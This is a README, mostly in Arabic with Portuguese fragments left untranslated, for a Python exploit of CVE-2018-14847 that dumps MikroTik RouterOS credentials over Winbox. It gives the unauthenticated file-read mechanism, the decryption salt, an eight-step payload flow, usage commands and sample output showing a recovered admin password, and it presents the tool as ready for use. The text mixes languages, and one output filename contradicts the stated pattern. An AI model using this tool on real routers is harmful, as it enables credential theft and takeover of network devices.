
الثغرة CVE-2018-14847 - استخراج بيانات اعتماد ميكروتيك باستخدام بايثون
مستودع سكربتات لتدقيق واختبارات اختراق الشبكات. استخدم فقط على الأجهزة المصرَّح بها رسميًا.
يستغل ثغرة قراءة الملفات غير الموثَّقة في خدمة
Winbox الخاصة بـ MikroTik RouterOS. معالج الملفات (handler ID 2) لا يتحقق من
المصادقة، مما يسمح لمهاجم خارجي بقراءة ملف user.dat
الذي يحتوي على جميع المستخدمين وكلمات مرور الجهاز.
تُخزَّن كلمات المرور مشفَّرة باستخدام XOR مع المفتاح MD5(usuario + "283i4jfkai3389").
يقوم السكربت بفك التشفير تلقائيًا.
| الفرع | معرَّض حتى | الإصدار المصحح |
|---|---|---|
| Stable | 6.42 | 6.42.1 |
| Long-term | 6.40.7 | 6.40.8 |
| RC | 6.42 | 6.43 |
python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291
# Alvo padrão na porta 8291
python3 cve_2018_14847.py 192.168.1.1
# Porta customizada
python3 cve_2018_14847.py 192.168.1.1 --port 8291
1. Conecta na porta 8291 (Winbox)
↓
2. Envia FIRST_PAYLOAD — abre sessão + solicita /flash/rw/store/user.dat
↓
3. Extrai Session ID do byte 38 da resposta
↓
4. Injeta Session ID no byte 19 do SECOND_PAYLOAD
↓
5. Envia SECOND_PAYLOAD — lê o arquivo user.dat
↓
6. Parseia entradas M2 → extrai usuário e senha cifrada
↓
7. Descriptografa senha: XOR com MD5(usuario + salt)
↓
8. Exibe credenciais e salva em arquivo
═══════════════════════════════════════════════════════
CVE-2018-14847 — MikroTik Winbox Credential Dump
Unauthenticated File Read + Password Decryption
Afetado: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
Alvo : 192.168.1.1:8291
Data : 2026-05-20 18:06:58
[*] Conectando em 192.168.1.1:8291 ...
[+] Conectado ao serviço Winbox.
[*] Enviando payload 1 (requisição de arquivo) ...
[+] Resposta recebida (84 bytes). Session ID: 0x35
[*] Enviando payload 2 (leitura do user.dat) ...
[+] Dados recebidos (312 bytes).
[*] Analisando user.dat (257 bytes úteis) ...
═══════════════════════════════════════════════════════
CREDENCIAIS EXTRAÍDAS
═══════════════════════════════════════════════════════
Usuário : admin
Senha : senha123
Combo : admin:senha123
───────────────────────────────────────────────────────
[+] 1 credencial(is) encontrada(s).
[+] Resultado salvo em: mikrotik_1192.168.1.1_20260520_180658.txt
يتم حفظ النتيجة تلقائيًا في:
mikrotik_<IP>_<TIMESTAMP>.txt
مثال: mikrotik_192.168.1.1_20260520_180658.txt
يحتوي على: IP الهدف، التاريخ، CVE، الإصدار المتأثر، وجميع أزواج usuário:senha.
/rede/
├── README.md # este arquivo
├── cve_2018_14847.py # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md # relatório de pentest CGNAT
├── pentest_roteador_192.168.2.1.md # relatório de pentest roteador
└── mikrotik_<IP>_<TIMESTAMP>.txt # resultados gerados pelo script
إخلاء مسؤولية قانوني: هذه الأدوات مخصصة للاستخدام الحصري في البيئات المصرَّح بها. التنفيذ غير المصرَّح به ضد أنظمة أطراف ثالثة يُعد جريمة وفقًا للقانون 12.737/2012 (قانون Carolina Dieckmann) والمادة 154-A من قانون العقوبات البرازيلي.